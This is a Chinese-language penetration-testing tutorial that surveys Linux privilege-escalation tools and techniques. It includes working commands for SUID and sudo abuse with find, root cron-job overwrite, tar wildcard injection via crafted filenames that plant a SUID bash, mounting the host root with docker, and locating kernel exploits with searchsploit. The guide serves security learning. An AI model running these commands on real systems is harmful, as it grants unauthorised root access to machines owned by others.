文章目录
- 内网渗透|Linux权限提升大法
- 0x01 前言
- 0x02 工具介绍
- 1.traitor
- 2.LinEnum
- 3.linux-exploit-suggester.sh
- 4.Linux Exploit Suggester 2
- 5.beroot
- 0X02提权手法
- 1.环境变量提权
- 2.利用suid提权
- 3.定时任务提权
- 3.1定时任务文件覆盖提权
- 3.2定时任务tar命令通配符注入提权
- 4.sudo提权
- 5.Docker提权
- 6.内核溢出提权
内网渗透|Linux权限提升大法
0x01 前言
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
0x02 工具介绍
1.traitor
地址:https://github.com/liamg/traitor
描述:
1. 自动化探测漏洞并且尝试提权工具,也会进行一些信息收集,但是漏洞库数量较少
2. 不带参数运行寻找可能存在的漏洞
3. 带-a参数运行寻找漏洞并尝试执行,如果已知当前用户密码可以加-p参数
用法:
1.不带参数运行以查找可能允许权限升级的潜在漏洞/错误配置。-p
如果当前用户密码已知,则添加该标志。如果需要分析sudo
权限等,将要求输入密码。
traitor -p
2.使用-a
/--any
标志运行以查找潜在漏洞,尝试利用每个漏洞,如果获得 root shell
,则停止。-p
如果当前用户密码已知,请再次添加该标志。
traitor -a -p
3.使用-e
/--exploit
标志运行以尝试利用特定漏洞并获得 root shell
。
traitor -p -e docker:writable-socket
2.LinEnum
地址:https://github.com/rebootuser/LinEnum
描述:
可以对linux主机进行一个综合信息探测,扫描linux上是否存在配置问题可以利用,
例如版本,定时任务,权限,环境变量等等,可以方便我们快速的确认当前可以提权的方式
用法:
3.linux-exploit-suggester.sh
地址:https://github.com/The-Z-Labs/linux-exploit-suggester
描述:
漏扫脚本,查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。
用法:
1.评估 Linux 机器对公开已知漏洞的暴露程度:
./linux-exploit-suggester.sh
2.显示 Linux 机器上的安全功能状态:
./linux-exploit-suggester.sh --checksec
3.根据提供的“uname”字符串(即uname -a命令的输出)评估 Linux 内核对已知漏洞的暴露程度:
./linux-exploit-suggester.sh --uname <uname-string>
4.Linux Exploit Suggester 2
地址:https://github.com/jondonas/linux-exploit-suggester-2
描述:
漏扫脚本,查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。
用法:
1.当不带参数运行时,该脚本会执行“uname -r”来获取 Linux 操作系统发行版本,并返回可能的漏洞利用列表。其中包含 CVE 和适用的漏洞利用 POC 的链接。请记住,修补/向后移植的补丁可能会欺骗该脚本。
./linux-exploit-suggester-2.pl
2.使用-k标志手动输入内核/操作系统发行版本的通配符。
./linux-exploit-suggester-2.pl -k 3
3.使用-d标志打开下载菜单,直接从漏洞利用数据库检索漏洞利用代码。您可以下载所有漏洞利用程序,也可以按编号单独选择它们。
./linux-exploit-suggester-2.pl -d
4.使用-h标志显示帮助菜单
5.beroot
地址:https://github.com/AlessandroZ/BeRoot
描述:
BeRoot是一个后开发工具,该项目适用于 Windows、Linux,以方便找到提高我们提权的方法。
0X02提权手法
1.环境变量提权
管理员编译程序的时候,给了程序管理员权限运行的权限,通过对程序的运行调试得到程序运行的大概逻辑,尝试对程序调用的环境变量进行复制后覆盖。导致程序调用环境变量过程中会调用到我们的想执行的程序,通常是我们的木马后门。
提权流程:
1.ind / -perm -u=s -type f 2>/dev/null使用该命令,或者上述工具进行信息收集,找到有suid权限的程序
2.找到用户自己编译的程序
3.去分析这些程序,通过反编译,调试等手段,查看是否有程序在运行过程中调用了环境变量的命令,如ps,su,ping等等
4.我们把bash或者sh复制为ps,并添加到环境变量,那么程序在调用ps时就会优先调用我们最新添加的环境变量ps,使用sudi权限执行bash或者ps我们就会得到root权限的shell,从而达到提权的目的
5.Linux 在执行命令时会按照以下顺序搜索可执行文件:
1. 命令别名(alias):首先会检查是否存在与命令名称匹配的别名,如果有,则执行别名对应的命令。
2. 用户自定义的函数(如果存在):如果用户在当前 Shell 中定义了与命令名称相同的函数,则会执行该函数。
3. 内建命令(built-in):Linux Shell 提供了一些内建命令,例如 cd、echo等。如果命令是内建命令,则会执行内建命令。
4. 按照 PATH 环境变量中的顺序搜索可执行文件:如果以上步骤都不匹配,那么会按照环境变量 PATH中指定的径顺序搜索可执行文件。PATH环境变量包含一系列用冒号分隔的目录路径。从左到右依次搜索这些路径,找到匹配的第一个可执行文件后执行。
2.利用suid提权
具有suid权限的文件在执行时,可以使调用者暂时获得该文件拥有者的执行权限,也就是说,具有suid权限的属于root用户的文件,在执行时,不管你当前是不是root用户,都可以以root权限执行,利用这个特性,我们就可以找一些具有suid权限切可以执行我们自定义命令的程序进行提权。
手动查看有suid权限的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
上面的所有二进制文件都将以 root 权限执行,因为它们的权限中包含"s" 并且由 root 用户拥有。
可以用来提权的命令
Nmap
Vim
find
Bash
More
Less
Nano
cp
例如:find的利用
touch pentestlab
find pentestlab -exec whoami \;
3.定时任务提权
3.1定时任务文件覆盖提权
利用定时任务有时候也可以达到提权的目的,修改有root权限的定时任务程序进行提权。
需要具备的条件:
1. 有root权限执行的定时任务
2. 有权限修改root权限执行的定时任务
通过修改定时任务的程序,让定时任务以root权限执行时执行我们想执行的内容,从而达到提权的目的。
例如:
添加定时任务,直接修改/etc/crontab添加,添加定时任务还可以使用crontab -e添加,但是crontab -e添加的定时任务只有当前用户可以看见,所以这种提权方式需要直接修改/etc/crontab添加定时任务,并以root权限执行
vim /etc/crontab
这里添加一个定时清楚目录下所有文件的脚本,也可以使用sh等脚本,这里使用python
*/1 * * * * root /usr/bin/python3 /root/test/cleanup.py
import os
import sys
try:
os.system('rm -r /root/add/*')
except:
sys.exit()
添加后保存即可,此时定时任务已经添加成功,切换到普通用户,cat /etc/crontab即可查看我们添加的定时任务。
在普通用户下也可以编译定时任务执行的文件。
可以把命令替换成 chmod u+s /bin/bash 赋予bash以suid权限(如果不能修改,有删除权限的话可以直接删掉,写入一个同名文件即可),返回给我们一个root权限的shell,需要加上-p参数才能提权,bash -p
我们这边还可以给另一些可以提权的命令suid权限,例如我们的find命令,这边我给find命令添加suid权限后也成功拿到了root权限
find `which find` -exec whoami \;
3.2定时任务tar命令通配符注入提权
定时任务Tar命令通配符注入提权(Cron Tar Command Wildcard Injection Privilege Escalation)是指通过在定时任务中使用Tar命令和通配符时,利用不当地输入验证或不正确的权限配置,使攻击者能够执行恶意代码并以更高的权限运行。
例如:
1.添加一个定时任务,每分钟备份一次add文件夹下的内容到back目录下
vim /etc/crontab
*/1 * * * * root cd/root/add;tar -zcf /root/back/add.tgz *
2.接下来模拟攻击者提权,发现存在定时任务压缩后,在add目录下执行以下三个命令,创建三个文件。
创建一个–checkpoint-action=exec=sh test.sh名字的空文件,创建–checkpoint=1名字的空文件,创建一个test.sh,里边输入我们想要使用root权限执行的命令,然后赋予test.sh可执行权限即可:
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh" ##执行test.sh文件
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh ##将/bin/bash复制到/tmp下,并提权SUID权限,同时将命令写入到test.sh脚本中
chmod +x test.sh ##赋予执行权限
这个方法利用了命令的一些特性,例如,目录下存在一个--help
文件时,我们使用cat --help会执行cat的帮助文档,不会获取文件的信息,这边也是一样,在执行过程中会发生以下的事情。
tar -zcf /root/back/add.tgz --checkpoint=1
tar -zcf /root/back/add.tgz --checkpoint-action=exec=sh test.sh
也就是在压缩这两个名字的时候,会把checkpoint设为1,且执行我们的test.sh文件,由于定时任务以root权限运行,那么我们就可以利用这个特性,在test.sh写入我们想执行的任何命令,达到提权的一个效果。
(PS:–checkpoint、–checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把–checkpoint=1和–checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件。–checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是把 bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限,所以这里是一环套一环的。)
3.此时等待定时任务完成即可发现在/tmp目录下多了一个bash文件。
4.使用 /tmp/bash -p 即可提权
PS:还有另一种情况
刚才的例子是压缩了当前目录的文件,但是当命令是压缩指定目录下的文件时,刚才的用法就失效了,例如在以下定时任务情况下,指定了/root/add/*目录,此时拼接就会失效。
vim /etc/crontab
*/1 * * * * root tar -zcf /root/back/add.tgz /root/add/*
这时候需要我们在执行完上面的操作后,对add目录下的文件进行一个归档,才可以成功解析我们的命令,具体操作如下:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
执行完后,只需要等待定时任务触发即可执行我们的test.sh。
4.sudo提权
在linux中,可能会给普通用户sudo权限,以便使用sudo进行root权限才可以进行的操作,/etc/sudoers
文件是sudo权限的配置文件,其中存储了哪些用户以及命令可以以sudo权限执行。
这三条的意思分别是:
root ALL=(ALL:ALL) ALL :
允许用户root在任何主机上以任何用户身份(ALL:ALL)执行任何命令。这授予了最高的权限。
%admin ALL=(ALL) ALL :
允许属于admin组的用户在任何主机上以任何用户身份执行任何命令。这是通过%admin表示组权
限,ALL表示可以在任何主机上执行,(ALL) ALL表示可以以任何用户身份执行任何命令。
%sudo ALL=(ALL:ALL) ALL :
允许属于sudo组的用户在任何主机上以任何用户身份执行任何命令。与admin组的权限相似,这
里也使用了%sudo表示组权限。
在实际情况中,目标可能会给普通用户分配sudo权限,可能是 ALL=(ALL:ALL) ALL
,也可能是针对某个命令可以使用sudo权限,如 ALL(ALL:ALL) /usr/bin/find
。
这种sudo提权的方式就和suid提权的方式有点相识,但是使用sudo提权需要两个必备条件:
1. 知道当前用户的密码
2. 有sudo权限执行任意命令,或者sudo可以执行特定可以提权的命令
如果sudo可以执行任何命令,那么我们可以直接 sudo bash
获取root权限的shell,如果不能,需要查看/etc/sudoers
配置文件中可以执行哪些命令,上文中可以使用suid提权的命令在此处也是适用的。
例如:find提权
sudo find /home -exec whoami \; ##可以看到获得的是root用户
sudo find /home -exec bash \; ##或者直接调用bash来获取shell
5.Docker提权
docker运行的所有命令都是需要sudo来运行,那是因为docker需要root权限才能跑。Docker监护进程有一个特性,它能被允许访问root用户或者是在docker组里面的所有用户。这就意味着,有docker 组的权限就如同到root的访问权,而且不需要知道密码。
区别于docker逃逸,相当于是利用docker进行提权。如果用户具有docker权限,可以利用docker的挂载,实现容器和主机共享目录,从而修改访问主机文件,添加用户,等功能,完成提权。
条件:
当前用户在docker用户组,可以使用docke。
1.查看是否在docker组下:
cat /etc/group | grep olw
2.利用docker,将mnt目录挂载到宿主的根目录,提权成功
docker run -v /:/mnt -it alpine
6.内核溢出提权
利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。
例如:
第一步:查看目标系统的相关信息
uname -a #查看内核/操作系统/cpu信息
cat /proc/version #查看系统信息
cat /etc/issue #查看操作系统版本
lsb_release -a #查询系统版本等信息
第二步:使用searchsploit工具寻找对应的exp
searchsploit -t 3.19
searchsploit -x linux/local/37292.c
第三步:让目标机器远程下载exp文件
第四步:将exp文件进行编译
第五步:执行exp文件,提权成功